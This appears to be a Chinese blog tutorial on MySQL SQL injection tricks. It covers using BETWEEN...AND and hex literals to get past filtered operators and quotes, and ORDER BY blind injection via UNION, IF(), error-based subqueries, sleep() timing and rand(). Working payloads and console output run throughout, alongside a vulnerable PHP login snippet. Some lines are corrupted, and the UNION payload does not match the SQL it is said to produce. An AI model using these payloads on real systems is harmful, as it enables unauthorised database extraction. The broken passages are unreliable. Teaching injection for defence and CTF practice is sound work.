SQL注入的两个小Trick与总结

最近发现了两个关于sql注入的小trick,分享一下.

 

between and 操作符代替比较符

操作符 BETWEEN … AND 会选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。
between and有数据比较功能

exp1 between min and max

如果exp1的结果处于min和max之间,`between and`就返回`1`,反之返回`0`.

示例

mysql> select * from user;
+----+----------+----------------------------------+-------------------+
| id | username | password                         | email             |
+----+----------+----------------------------------+-------------------+
|  1 | a        | 0cc175b9c0f1b6a831c399e269772661 | 456456664@qq.com |
|  2 | aa       | 4124bc0a9335c27f086f24ba207a4912 | 456456664@qq.com |
|  3 | admin    | 26fff50e6f9c6ca38e181c65c1531eca | 456456664@qq.com |
|  4 | add      | 0cc175b9c0f1b6a831c399e269772661 | 456456664@qq.com |
+----+----------+----------------------------------+-------------------+
mysql> select * from user where id between 1 and 2;
+----+----------+----------------------------------+-------------------+
| id | username | password                         | email             |
+----+----------+----------------------------------+-------------------+
|  1 | a        | 0cc175b9c0f1b6a831c399e269772661 | 456456664@qq.com |
|  2 | aa       | 4124bc0a9335c27f086f24ba207a4912 | 456456664@qq.com |
+----+----------+----------------------------------+-------------------+

大多数数据库都支持between and操作,但是对于边界的处理有所不同,在mysql中,between and 是包含边界的,在数学中也就是[min,max]

 

在盲注中应用

between and可以用来在过滤了=,like, regexp,>,<的情况下使用.

mysql> select database();
+------------+
| database() |
+------------+
| test       |
+------------+
1 row in set (0.00 sec)

1. 配合截取函数使用

mysql> select mid(database(),1,1) between 'a' and 'a' ;
+-----------------------------------------+
| mid(database(),1,1) between 'a' and 'a' |
+-----------------------------------------+
|                                       0 |
+-----------------------------------------+
1 row in set (0.00 sec)

mysql> select mid(database(),1,1) between 't' and 't' ;
+-----------------------------------------+
| mid(database(),1,1) between 't' and 't' |
+-----------------------------------------+
|                                       1 |
+-----------------------------------------+
1 row in set (0.00 sec)

2. 截取函数被过滤

表达式

select exp between min and max

在截取字符函数被过滤的时候,设置min和 max的方式有所改变.

测试1

mysql> select 'b' between 'a' and 'c';
+-------------------------+
| 'b' between 'a' and 'c' |
+-------------------------+
|                       1 |
+-------------------------+
1 row in set (0.00 sec)

mysql> select 'b' between 'a' and 'b';
+-------------------------+
| 'b' between 'a' and 'b' |
+-------------------------+
|                       1 |
+-------------------------+
1 row in set (0.00 sec)

mysql> select 'b' between 'b' and 'c';
+-------------------------+
| 'b' between 'b' and 'c' |
+-------------------------+
|                       1 |
+-------------------------+
1 row in set (0.00 sec)

测试2

mysql> select 'bcd' between 'a' and 'c';
+---------------------------+
| 'bcd' between 'a' and 'c' |
+---------------------------+
|                         1 |
+---------------------------+
1 row in set (0.00 sec)

mysql> select 'bcd' between 'a' and 'b';
+---------------------------+
| 'bcd' between 'a' and 'b' |
+---------------------------+
|                         0 |
+---------------------------+
1 row in set (0.00 sec)

mysql> select 'bcd' between 'b' and 'c';
+---------------------------+
| 'bcd' between 'b' and 'c' |
+---------------------------+
|                         1 |
+---------------------------+
1 row in set (0.00 sec)

由测试可知,当exp为单个字符时三种区间返回值都是1,但是当exp为字符串时,当区间为a-b时,返回值为0.区间为a-c或者b-c时,返回值为1.

也就是在进行字符串比较时,只会包含一边的值,也就是[b,c).

所以在实际利用时,就要注意区间的范围.

实际测试

mysql> select database() between 'a' and 'z';
+--------------------------------+
| database() between 'a' and 'z' |
+--------------------------------+
|                              1 |
+--------------------------------+
1 row in set (0.05 sec)
...
mysql> select database() between 't' and 'z';
+--------------------------------+
| database() between 't' and 'z' |
+--------------------------------+
|                              1 |
+--------------------------------+
1 row in set (0.00 sec)

mysql> select database() between 'u' and 'z';
+--------------------------------+
| database() between 'u' and 'z' |
+--------------------------------+
|                              0 |
+--------------------------------+
1 row in set (0.00 sec)

由结果可知,第一个字符为t

第二个字符

mysql> select database() between 'tatest
+----------------------------------+test
| database() between 'ta' and 'tz' |test
+----------------------------------+
|                                1 |
+----------------------------------+
1 row in set (0.00 sec)

mysql> select database() between 'te' and 'tz';
+----------------------------------+
| database() between 'te' and 'tz' |
+----------------------------------+
|                                1 |
+----------------------------------+
1 row in set (0.00 sec)

mysql> select database() between 'tf' and 'tz';
+----------------------------------+
| database() between 'tf' and 'tz' |
+----------------------------------+
|                                0 |
+----------------------------------+
1 row in set (0.00 sec)

剩下的以此类推.最终为test.

3. 单引号被过滤

between and还支持16进制,所以可以用16进制,来绕过单引号的过滤.

测试

mysql> select database() between 0x61 and 0x7a; //select database() between 'a' and 'z';
+----------------------------------+
| database() between 0x61 and 0x7a |
+----------------------------------+
|                                1 |
+----------------------------------+
1 row in set (0.00 sec)

mysql> select database() between 0x74 and 0x7a; //select database() between 't' and 'z';
+----------------------------------+
| database() between 0x74 and 0x7a |
+----------------------------------+
|                                1 |
+----------------------------------+
1 row in set (0.00 sec)

mysql> select database() between 0x75 and 0x7a; //select database() between 'u' and 'z';
+----------------------------------+
| database() between 0x75 and 0x7a |
+----------------------------------+
|                                0 |
+----------------------------------+
1 row in set (0.00 sec)

 

了解order by

order by是mysql中对查询数据进行排序的方法，
使用示例

select * from 表名 order by 列名(或者数字) asc；升序(默认升序)
select * from 表名 order by 列名(或者数字) desc；降序

这里的重点在于order by后既可以填列名或者是一个数字。举个例子：
id是user表的第一列的列名，那么如果想根据id来排序，有两种写法:

select * from user order by id;
selecr * from user order by 1;

 

order by盲注

结合union来盲注

这个是在安恒杯月赛上看到的。
后台关键代码

$sql = 'select * from admin where username='".$username."'';
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if(isset($row)&&row['username']!="admin"){
    $hit="username error!";
}else{
    if ($row['password'] === $password){
        $hit="";
    }else{
        $hit="password error!";
    }

}

payload

username=admin' union 1,2,'字符串' order by 3

sql语句就变为

select * from admin where username='admin' or 1 union select 1,2,binary '字符串' order by 3;

这里就会对第三列进行比较，即将字符串和密码进行比较。然后就可以根据页面返回的不同情况进行盲注。
注意的是最好加上binary，因为order by比较的时候不区分大小写。

基于if()盲注

需要知道列名

order by的列不同，返回的页面当然也是不同的，所以就可以根据排序的列不同来盲注。

示例：

order by if(1=1,id,username);

这里如果使用数字代替列名是不行的，因为if语句返回的是字符类型，不是整型。

不需要知道列名

payload

order by if(表达式,1,(select id from information_schema.tables))

如果表达式为false时，sql语句会报ERROR 1242 (21000): Subquery returns more than 1 row的错误，导致查询内容为空，如果表达式为true是，则会返回正常的页面。

基于时间的盲注

payload

order by if(1=1,1,sleep(1))

测试结果

select * from ha order by if(1=1,1,sleep(1)); #正常时间
select * from ha order by if(1=2,1,sleep(1)); #有延迟

测试的时候发现延迟的时间并不是sleep(1)中的1秒，而是大于1秒。
最后发现延迟的时间和所查询的数据的条数是成倍数关系的。
计算公式：

延迟时间=sleep(1)的秒数*所查询数据条数

我所测试的ha表中有五条数据，所以延迟了5秒。如果查询的数据很多时，延迟的时间就会很长了。
在写脚本时，可以添加timeout这一参数来避免延迟时间过长这一情况。

基于rang()的盲注

原理不赘述了，直接看测试结果

mysql> select * from ha order by rand(true);
+----+------+
| id | name |
+----+------+
|  9 | NULL |
|  6 | NULL |
|  5 | NULL |
|  1 | dss  |
|  0 | dasd |
+----+------+
mysql> select * from ha order by rand(false);
+----+------+
| id | name |
+----+------+
|  1 | dss  |
|  6 | NULL |
|  0 | dasd |
|  5 | NULL |
|  9 | NULL |
+----+------+

可以看到当rang()为true和false时，排序结果是不同的，所以就可以使用rang()函数进行盲注了。
例

order by rand(ascii(mid((select database()),1,1))>96)

 

后记

order by注入在crf里其实出现挺多了,一直没有总结过.这次比较全的整理了一下(自认为比较全.XD),就和between and一起发出来了.欢迎师傅交流学习.